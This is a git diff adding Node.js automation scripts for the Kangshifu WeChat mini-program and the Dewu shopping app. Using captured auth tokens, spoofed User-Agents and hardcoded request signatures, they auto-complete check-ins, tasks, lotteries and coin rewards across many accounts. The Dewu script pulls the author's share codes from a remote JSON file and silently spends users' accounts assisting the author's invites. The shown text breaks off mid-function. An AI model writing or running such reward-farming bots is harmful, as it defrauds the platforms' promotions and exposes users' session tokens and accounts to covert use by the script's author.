JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s), o = JSON.stringify(this.data); e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o) } } lodash_get(t, s, e) { const i = s.replace(/\[(\d+)\]/g, ".$1").split("."); let o = t; for (const t of i) if (((o = Object(o)[t]), void 0 === o)) return e; return o } lodash_set(t, s, e) { return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}), t)[s[s.length - 1]] = e), t) } getdata(t) { let s = this.getval(t); if (/^@/.test(t)) { const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t), o = e ? this.getval(e) : ""; if (o) try { const t = JSON.parse(o); s = t ? this.lodash_get(t, i, "") : s } catch (t) { s = "" } } return s } setdata(t, s) { let e = !1; if (/^@/.test(s)) { const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s), h = this.getval(i), a = i ? ("null" === h ? null : h || "{}") : "{}"; try { const s = JSON.parse(a); this.lodash_set(s, o, t), (e = this.setval(JSON.stringify(s), i)) } catch (s) { const h = {}; this.lodash_set(h, o, t), (e = this.setval(JSON.stringify(h), i)) } } else e = this.setval(t, s); return e } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null } setval(t, s) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, s = () => { }) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }) : this.isQuanX() ? $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, s) => { try { const e = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); this.ckjar.setCookieSync(e, null), (s.cookieJar = this.ckjar) } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h, } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t))) } post(t, s = () => { }) { if ((t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), delete t.headers["Content-Length"], this.isSurge() || this.isLoon())) $httpClient.post(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }); else if (this.isQuanX()) (t.method = "POST"), $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: e, ...i } = t; this.got.post(e, i).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) } } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))); return t } msg(s = t, e = "", i = "", o) { const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : "string" == typeof t ? this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : void 0 : "object" == typeof t && (t["open-url"] || t["media-url"]) ? this.isLoon() ? t["open-url"] : this.isQuanX() ? t : void 0 : void 0; this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))); let logs = ['', '==============📣系统通知📣==============']; logs.push(t); e ? logs.push(e) : ''; i ? logs.push(i) : ''; console.log(logs.join('\n')); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } })(t, s) } diff --git a/脚本库/微信小程序/抓包版/康师傅畅饮社/2026-05-14_kangshifu_73bda636.js b/脚本库/微信小程序/抓包版/康师傅畅饮社/2026-05-14_kangshifu_73bda636.js new file mode 100644 index 0000000..467e382 --- /dev/null +++ b/脚本库/微信小程序/抓包版/康师傅畅饮社/2026-05-14_kangshifu_73bda636.js @@ -0,0 +1,121 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/kangshifu.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/kangshifu.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/kangshifu.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: 73bda6361b08e86509de8dbe3cd6c2439da54fac4a43d4c4fea1d8c5edc82c0e +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: 康师傅畅饮社 +cron: 30 10 * * * +------------------------------------------ +#Notice: +康师傅畅饮社小程序 +变量名 ksfcys +账号格式:抓https://club.biqr.cn/api/请求头token 多账户&或换行 +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env") +const $ = new Env("康师傅畅饮社"); +let ckName = `ksfcys`; +const strSplitor = "#"; + +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = this.user[0]; + + } + + async run() { + + await this.signIn() + } + + async signIn() { + let options = { + url: `https://club.biqr.cn/api/signIn/integralSignIn`, + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027', + 'Accept': 'application/json, text/plain, */*', + 'xweb_xhr': '1', + 'Content-Type': 'application/x-www-form-urlencoded;', + 'Token': '' + this.token, + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://servicewechat.com/wx54f3e6a00f7973a7/795/page-frame.html', + 'Accept-Language': 'zh-CN,zh;q=0.9' + }, + method: 'POST', + data: { + + } + } + let { data: result } = await axios.request(options); + if (result.code == 0) { + $.log(`账号[${this.index}]【${this.name}】 签到成功`); + } else { + $.log(result); + + } + } + + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/脚本库/微信小程序/抓包版/得物/2025-06-28_得无开源_d10a36e3.js b/脚本库/微信小程序/抓包版/得物/2025-06-28_得无开源_d10a36e3.js new file mode 100644 index 0000000..c6b21a8 --- /dev/null +++ b/脚本库/微信小程序/抓包版/得物/2025-06-28_得无开源_d10a36e3.js @@ -0,0 +1,1750 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E5%BE%97%E6%97%A0%E5%BC%80%E6%BA%90.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E5%BE%97%E6%97%A0%E5%BC%80%E6%BA%90.js +// # Repo: jdqlscript/toulu +// # Path: 得无开源.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: d10a36e3bce740fda3d426f6787830dc5d82f20ed3f6f6e5b8d83028ec3ae80b +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/** + * cron 10 11 * * * + * 依赖 crypto-js & jsencrypt + * 得物APP 探索中的玩一玩 所有游戏的入口都在那里 请跑任务之前手动玩一次 + * -------------------------------------------------- + * 变量名:dewuCK + * 变量值:抓app.dewu.com 请求头Headers中的x-auth-token 去掉Bearer # 连接cookie中dutoken得值 可以直接搜dutoken # 连接SK + * 三个值 x-auth-token的值去掉Bearer#dutoken的值#SK的值 + * UA的变量名UAdefult_dewu + * export UAdefult_dewu="Mozilla/5.0 (.....UA" + * 例如ejxxxxx...#d41d8cd9|16...2233|17...|4sasasasa...#9xxxxxxxx + * 多账号& 或换行 或新建同名变量 + * ------------------------------------------------- + * -------------------------------------------------- + * new Env("得物") + */ + +let ckName = "dewuCK";//CK变量名字 + + +const version = "testV1" +const isPromiseAll = process.env["isPromiseAll"] ? process.env["isPromiseAll"] : "true";//是否开启并发 +let UAdefult = "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/80.0.3987.99 Mobile Safari/537.36/duapp/5.39.1(android;10)" +let UA = process.env["UAdefult_dewu"] ? process.env["UAdefult_dewu"] : UAdefult +let SK = process.env["SKdefult_dewu"] ? process.env["SKdefult_dewu"] : "" + +const $ = new Env("得物农场"); +const notify = $.isNode() ? require('./sendNotify') : ''; +let envSplitor = ["&", "\n"]; //多账号分隔符 +let strSplitor = "#"; //多变量分隔符 +let userIdx = 0; +let userList = []; +let authShareCodeList = [] +let stationShareCodesList = [] +let zeroLotteryShareCodesModeGetList = [] +let helpCode = "" +const CryptoJS = require("crypto-js"); +async function main() { + $.log(`并发状态:${isPromiseAll == "true" ? "[true]" : "[false]"}`) + let { body: shareCode } = await $.httpRequest({ timeout: 10000, method: "get", url: "https://gitee.com/smallfawn/Note/raw/main/updateTeam/dwnc.json", headers: { "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/duapp/5.38.6" } }) + $.log(`当前版本:${version} 最新版本${shareCode.v}`) + if (version != shareCode.v) { + $.log(`当前版本和最新版本不一致`) + return + } + $.log(`[${shareCode.notice}]`); + authShareCodeList = shareCode.treeShareCodesList + stationShareCodesList = shareCode.stationShareCodesList + zeroLotteryShareCodesModeGetList = shareCode.zeroLotteryShareCodesModeGetList + let taskall = []; + $.log(`======= 🌳初始化邀请码 =======`) + for (let user in userList) { + if (userList[user].ckStatus) { + //如果user处于数组第一 那么则await 否则则promiseAll + if (user == 0) { + await userList[0].UserInit(); + } else { + if (isPromiseAll == "true") { + taskall.push(userList[user].UserInit()); + } else { + taskall.push(await userList[user].UserInit()); + } + } + } + } + await Promise.all(taskall); + $.log(`======= 🌳果园 =======`) + for (let user of userList) { + if (user.ckStatus) { + if (isPromiseAll == "true") { + taskall.push(user.tree()); + } else { taskall.push(await user.tree()); } + } + } + await Promise.all(taskall); + taskall = []; + $.log(`======= 🐟鱼厂 =======`) + + for (let user of userList) { + if (user.ckStatus) { + if (isPromiseAll == "true") { + taskall.push(user.fish()); + } else { + taskall.push(await user.fish()); + } + } + } + await Promise.all(taskall); + taskall = []; + $.log(`======= 上上签💴 =======`) + for (let user of userList) { + if (user.ckStatus) { + if (isPromiseAll == "true") { + taskall.push(user.station()); + } else { + taskall.push(await user.station()); + } + + } + } + await Promise.all(taskall); + taskall = []; + $.log(`======= 0元抽💴 =======`) + for (let user of userList) { + if (user.ckStatus) { + if (isPromiseAll == "true") { + taskall.push(user.zeroLottery()); + } else { + taskall.push(await user.zeroLottery()); + } + } + } + await Promise.all(taskall); + taskall = []; + $.log(`======= 抽盲盒 =======`) + for (let user of userList) { + if (user.ckStatus) { + if (isPromiseAll == "true") { + taskall.push(user.buZhou()); + } else { + taskall.push(await user.buZhou()); + } + } + } + await Promise.all(taskall); + $.log(`======= 潮金币 =======`) + taskall = []; + for (let user of userList) { + if (user.ckStatus) { + if (isPromiseAll == "true") { + taskall.push(user.point()); + } else { + taskall.push(await user.point()); + + } + } + } + await Promise.all(taskall); + +} +class Task { + constructor(str) { + this.index = ++userIdx; + this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符 + this.ckStatus = true; + this.taskListTree = [] + this.doWaterStatus = true + this.taskListFish = [] + this.fishFeedStatus = true + this.fishId = "" + this.fishType = "" + this.stationList = []; + this.duToken = str.split(strSplitor)[1]; + this.sk = str.split(strSplitor)[2]; + this.prizeLocations = [] + this.BuZhouRefreshStatus = false + this.chanceCount = 0 + this.waitPrizeLocations = [] + this.ua = UA + //this.sk = SK + } + async tree() { + await this.Dowater() + await $.wait(2500) + await this.TreeInviteReward() + await $.wait(1500) + await this.Get_Tree_Info() + await $.wait(1500) + await this.TreeInfo() + await $.wait(1500) + await this.SignListTree() + await $.wait(1500) + await this.TaskListTree(); + await $.wait(1500) + await this.Droplet_Get_Generate_Droplet() + await $.wait(1500) + await this.Droplet_ExtraInfo() + } + async fish() { + await this.SignListFish() + await $.wait(2500) + await this.TaskListFish() + await $.wait(2500) + await this.UserFinshInfo() + + + + + } + async station() { + for (let i of stationShareCodesList) { + await $.wait(1500) + let shareKey = await this.ShareCodesGet(i) + if (shareKey != '') { + let id = shareKey.split("id=")[1].split("&")[0] + let userId = shareKey.split("shareUserId=")[1].split("&")[0] + let status = await this.StationAssist(id, userId) + if (status) { + break; + } + } else { + } + + } + await this.StationList() + for (let j of this.stationList) { + await $.wait(2000) + await this.StationEgnageIn(j.id) + } + + } + async zeroLottery() { + await this.zeroLotteryWinList() + await this.zeroLotteryList() + for (let j of zeroLotteryShareCodesModeGetList) { + await $.wait(1500) + let shareKey = await this.ShareCodesGet(j) + if (shareKey != '') { + shareKey = decodeURIComponent(shareKey.split("shareKey=")[1].split("&")[0]) + let status = await this.zeroLotteryShare(shareKey) + if (status) { + break; + } + } else { + } + } + + } + async buZhou() { + await this.BuZhouTaskList() + await $.wait(2000) + await this.BuZhouInfo() + await $.wait(2000) + await this.BuZhouInfo() + } + async point() { + await this.PonitSignIn() + await this.PointTaskList() + } + async DoTask(body) { + try { + let taskStatusResult = {}; + let commitBody = {}; + let preStatus = false + if (body.taskType == 50) { + taskStatusResult = await this.taskRequest_task("get", `https://app.dewu.com/hacking-task/v1/task/status?taskId=${body.taskId}&taskType=50&sign=94fd23c93d62ae0f75108f94c093b198`) + if (taskStatusResult.code == 200) { + if (taskStatusResult.data.status == 1) { + //$.log(`账号[${this.index}] 开始任务成功🎉`) + commitBody = { "taskId": body.taskId, "taskType": String(body.taskType), "btd": 0, spuId: 0 } + preStatus = true + } + } + } + if (body.taskType == 1) { + if ("classify" in body) { + if (body.classify == 2) { + taskStatusResult = await this.taskRequest_task("post", `https://app.dewu.com/hacking-task/v1/task/pre_commit?sign=b7382f4d908e04356f9646688afe096c`, { taskId: body.taskId, taskType: body.taskType, btn: 0 }) + //console.log(taskStatusResult); + if (taskStatusResult.code == 200) { + if (taskStatusResult.data.isOk == true) { + //$.log(`账号[${this.index}] 开始任务成功🎉`) + $.log(`延迟${body.countdownTime + 1}秒浏览${body.taskName}`) + await $.wait((body.countdownTime + 1) * 1000) + commitBody = { "taskId": body.taskId, "taskType": String(body.taskType), "activityType": null, "activityId": null, "taskSetId": null, "venueCode": null, "venueUnitStyle": null, "taskScene": null, "btd": 0 } + preStatus = true + } + } else { + $.log(`❌账号[${this.index}] 开始任务失败[${taskStatusResult.msg}]`); + } + } + } else { + /*taskStatusResult = await this.taskRequest_task("post", `https://app.dewu.com/hacking-task/v1/task/pre_commit?sign=b7382f4d908e04356f9646688afe096c`, { taskId: body.taskId, taskType: body.taskType, btn: 0 }) + if (taskStatusResult.code == 200) { + if (taskStatusResult.data.isOk == true) { + //$.log(`账号[${this.index}] 开始任务成功🎉`) + await $.wait(16000) + commitBody = { "taskId": body.taskId, "taskType": body.taskType, "activityType": null, "activityId": null, "taskSetId": null, "venueCode": null, "venueUnitStyle": null, "taskScene": null, "btd": 0 } + preStatus = true + } + } else { + $.log(`❌账号[${this.index}] 开始任务失败[${taskStatusResult.msg}]`); + }*/ + } + + + } + if (body.taskType == 123 || body.taskType == 124) { + commitBody = { "taskType": String(body.taskType) } + preStatus = true + } + //console.log(taskStatusResult) + if (preStatus == true) { + let commitResult = await this.taskRequest_task("post", `https://app.dewu.com/hacking-task/v1/task/commit?sign=826988b593cd8cd75162b6d3b7dade15`, commitBody) + //console.log(commitResult) + if (commitResult.code == 200) { + if (commitResult.data.status == 2) { + $.log(`账号[${this.index}] [${body.taskName}]任务成功🎉`) + return true + } else { + $.log(`账号[${this.index}] [${body.taskName}]任务失败🎉`) + } + } else { + $.log(`账号[${this.index}] [${body.taskName}]任务失败🎉`) + } + } else { + return false + } + } catch (e) { + console.log(e); + } + + } + async StationAssist(id, shareUserId) { + let body = { "id": id, "shareUserId": shareUserId } + try { + let result = await this.taskRequest("post", `https://app.dewu.com/api/v1/h5/delicate-sell-interfaces/dsell/station/assist?sign=${this.calculateSign(body)}`, body) + if (result.code == 200) { + //$.log(`账号[${this.index}] 助力参与作者组队上上签成功🎉`) + return true + } else { + //$.log(`❌账号[${this.index}] 助力参与作者组队上上签失败[${result.msg}]`); + return false + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async zeroLotteryEgnageIn(id) { + let body = { "id": id, "source": "wotab" } + try { + let result = await this.taskRequest_task("post", `https://app.dewu.com/hacking-zero-lottery/v1/activity/engage-in?sign=${this.calculateSign(body)}`, body) + if (result.code == 200) { + $.log(`账号[${this.index}] 0元抽签参与成功[${result.data.title}]🎉`) + } else { + $.log(`❌账号[${this.index}] 0元抽签0参与失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async ShareCodesGet(key) { + try { + let result = await this.taskRequest_task("get", `https://app.dewu.com/hacking-keyword/v1/common/keyword/share-info?keyword=${key}`) + if (result.code == 200) { + if (result.data !== null) { + + return result.data.activityInfo.enterUrl + + + + } else { + return '' + } + } else { + + $.log(`❌账号[${this.index}] 助力参与0元购失败[${result.msg}]🎉`) + return '' + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async zeroLotteryShare(key) { + + let body = { "shareKey": key } + try { + let result = await this.taskRequest_task("post", `https://app.dewu.com/hacking-zero-lottery/v1/activity/report-keyword?sign=${this.calculateSign(body)}`, body) + if (result.code == 200) { + //$.log(`账号[${this.index}] 助力参与0元购成功🎉`) + return true + } else { + //$.log(`❌账号[${this.index}] 助力参与0元购失败[${result.msg}]🎉`) + return false + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async zeroLotteryWinList() { + let body = { "limit": 10, "lastId": 0 } + try { + let result = await this.taskRequest_task("post", `https://app.dewu.com/hacking-zero-lottery/v1/activity/engage-in-list`, body) + if (result.code == 200) { + if (result.data?.list) { + for (let i of result.data.list) { + // ... + if (i.win == true) { + $.log(`账号[${this.index}] 恭喜中签[${i.name}]🎉🎉🎉🎉🎉🎉🎉🎉`) + } + } + } + + + } else { + $.log(`❌账号[${this.index}] 获取0元购列表失败[${result.msg}]🎉`) + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async zeroLotteryList() { + let body = { "source": "wotab" } + try { + let result = await this.taskRequest_task("post", `https://app.dewu.com/api/v1/h5/zero-lottery-interfaces/zl/activity/query-today?sign=${this.calculateSign(body)}`, body) + if (result.code == 200) { + for (let i of result.data.activityList) { + let taskStatus = false + if (i.status == 0) { + if ("taskVo" in i) { + await this.DoTask(i.taskVo) + + } else { + await this.zeroLotteryEgnageIn(i.id) + } + } + } + } else { + $.log(`❌账号[${this.index}] 获取0元购列表失败[${result.msg}]🎉`) + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async StationEgnageIn(id) { + let body = { "id": id } + try { + let result = await this.taskRequest_task("post", `https://app.dewu.com/api/v1/h5/delicate-sell-interfaces/dsell/station/egnage-in?sign=${this.calculateSign(body)}`, body) + if (result.code == 200) { + $.log(`账号[${this.index}] 参与上上签成功🎉`) + } else { + $.log(`❌账号[${this.index}] 参与上上签失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async StationList() { + let body = { "student": false, "source": "" } + try { + let result = await this.taskRequest_task("post", `https://app.dewu.com/api/v1/h5/delicate-sell-interfaces/dsell/query/ongoing-list?sign=${this.calculateSign(body)}`, body) + if (result.code == 200) { + for (let i of result.data.records) { + if (i.userPartakeStatus == 10) { + this.stationList.push(i) + } + } + } else { + $.log(`❌账号[${this.index}] 获取上上签列表失败[${result.msg}]🎉`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async BuZhouInfo() { + let body = { "benefitId": 1, "additionPresent": 0, "source": "gamecentertask" } + try { + let result = await this.taskRequest_task("post", `https://app.dewu.com/api/v1/h5/mount-buzhou-interfaces/gk/index?sign=${this.calculateSign(body)}`, body) + if (result.code == 200) { + //console.log(result.data); + $.log(`账号[${this.index}] 盲盒赛季[${result.data.seasonName}] 当前抽奖机会[${result.data.chanceCount}] 🎉`) + if ("prizeLocations" in result.data) { + $.log(`已开盲盒位置[${result.data.prizeLocations}]`) + this.prizeLocations = result.data.prizeLocations + } else { + this.prizeLocations = [] + } + this.chanceCount = result.data.chanceCount + //console.log(result.data.hasDraw); + if (this.chanceCount != 0) { + this.waitPrizeLocations = this.findMissingNumbers(this.prizeLocations) + //加一个条件 如果waitPriz...... 小于 chence 则 刷新 + if (this.waitPrizeLocations.length == 0 && this.chanceCount > 0) { + await $.wait(2500) + await this.BuZhouRefresh(result.data.seasonId) + } + this.waitPrizeLocations = this.findMissingNumbers(this.prizeLocations) + //如果长度大于等于chence 则不刷新 + + let max = this.waitPrizeLocations.length >= this.chanceCount ? this.chanceCount : this.waitPrizeLocations.length + for (let i = 0; i < max; i++) { + let prizeLocation = this.waitPrizeLocations[i] + $.log("开始第" + (i + 1) + "次抽奖") + await $.wait(2500) + await this.BuZhouLottery(result.data.seasonId, prizeLocation) + } + await $.wait(2500) + await this.BuZhouRefresh(result.data.seasonId) + } + + + + + } else { + $.log(`❌账号[${this.index}] 盲盒获取失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async BuZhouLottery(seasonId, prizeLocation) { + let body = { "benefitId": 1, "seasonId": seasonId, "prizeLocation": prizeLocation, "source": "gamecentertask" } + try { + let result = await this.taskRequest_task("post", `https://app.dewu.com/api/v1/h5/mount-buzhou-interfaces/gk/lottery?sign=${this.calculateSign(body)}`, body) + if (result.code == 200) { + $.log(`账号[${this.index}] 盲盒抽取[${result.data.gkLotteryVo.gkName}]碎片`); + } else { + $.log(`❌账号[${this.index}] 盲盒抽取失败[${result.msg}]`); + //console.log(seasonId, prizeLocation); + } + } catch (e) { + console.log(e); + } + } + async BuZhouRefresh(seasonId) { + let body = { "seasonId": seasonId } + try { + let result = await this.taskRequest_task("post", `https://app.dewu.com/api/v1/h5/mount-buzhou-interfaces/gk/refresh?sign=${this.calculateSign(body)}`, body) + if (result.code == 200) { + $.log(`账号[${this.index}] 刷新盲盒成功`); + this.BuZhouRefreshStatus = true; + this.prizeLocations = [] + } else { + $.log(`❌账号[${this.index}] 刷新盲盒失败[${result.msg}]`); + //console.log(result); + this.BuZhouRefreshStatus = false; + } + } catch (e) { + console.log(e); + } + } + async BuZhouTaskList() { + let body = { "source": "gamecentertask" } + try { + let result = await this.taskRequest_task("get", `https://app.dewu.com/api/v1/h5/mount-buzhou-interfaces/gk/task-list?source=gamecentertask&sign=${this.calculateSign(body)}`) + if (result.code == 200) { + for (let i of result.data.taskVoList) { + let taskStatus = false + if (i.isComplete == false) { + if (i.taskType == 1) { + if (i.classify == 2) { + //浏览 + + taskStatus = await this.DoTask(i) + } + } + if (i.taskType == 50) { + await $.wait(2500) + + taskStatus = await this.DoTask(i) + //收藏 + } + } else if (i.isComplete == true && i.isReceiveReward == false) { + await $.wait(2500) + await this.TaskReceiveBuZhou(i) + } + if (taskStatus == true) { + await $.wait(2500) + await this.TaskReceiveBuZhou(i) + } + } + } else { + $.log(`❌账号[${this.index}] 盲盒任务获取失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async TaskReceivePoint(body) { + try { + let RequestBody = { taskId: body.taskId, taskType: body.taskType } + + let result = await this.taskRequest("post", `https://app.dewu.com/hacking-game-center/v1/sign/task_receive?sign=${this.calculateSign(RequestBody)}`, RequestBody) + //console.log(JSON.stringify(result)); + if (result.code == 200) { + $.log(`账号[${this.index}] 领取任务奖励[${result.msg}] --- [${result.data.amount}]金币🎉`) + } else { + //console.log(body.taskId); + $.log(`❌账号[${this.index}] 领取任务奖励失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async TaskReceiveBuZhou(body) { + try { + let RequestBody = { taskId: body.taskId, classify: body.classify } + let result = await this.taskRequest("post", `https://app.dewu.com/api/v1/h5/mount-buzhou-interfaces/gk/task-receive?sign=${this.calculateSign(RequestBody)}`, RequestBody) + //console.log(JSON.stringify(result)); + if (result.code == 200) { + $.log(`账号[${this.index}] 领取任务奖励[${result.msg}] --- [${result.data.count}]次数🎉`) + } else { + //console.log(body.taskId); + $.log(`❌账号[${this.index}] 领取任务奖励失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async FishFeed() { + let body = { "feedTimes": 1, "fishId": this.fishId, "fishType": this.fishType } + try { + let result = await this.taskRequest("post", `https://app.dewu.com/hacking-fish/v1/fish/feed?sign=63a26f09f6d985b73299f92506f6e986`, body) + if (result.code == 200) { + $.log(`账号[${this.index}] 喂食🐟成功🎉`) + this.fishFeedStatus = true + } else { + this.fishFeedStatus = false + $.log(`❌账号[${this.index}] 喂食🐟失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async Dowater() { + if (this.droplet > 0) { + $.log(`账号[${this.index}] 可浇水${parseInt(this.droplet / 100)}次,开始浇水`); + if (this.treeMode == 0) { + for (let i = 0; i < parseInt(this.droplet / 100); i++) { + if (this.doWaterStatus) { + await this.DoWaterApi() + //随机延迟random + await $.wait(this.randomNumber(1000, 2000)) + } + } + } else if (this.treeMode == 1) { + $.log(`账号[${this.index}] 组队浇水 =>`) + for (let i = 0; i < parseInt(this.droplet / 100); i++) { + if (this.doWaterStatus) { + await this.DoWaterTeamApi(this.treeId) + //随机延迟random + await $.wait(this.randomNumber(1000, 2000)) + } + } + await this.TeamInfo() + } + + } + } + async DoWaterApi() { + let body = {} + try { + let result = await this.taskRequest("post", `https://app.dewu.com/hacking-tree/v1/tree/watering?sign=fe26befc49444d362c8f17463630bdba`, body) + if (result.code == 200) { + $.log(`账号[${this.index}] 浇水成功🎉`) + this.doWaterStatus = true + } else { + this.doWaterStatus = false + $.log(`❌账号[${this.index}] 浇水失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + 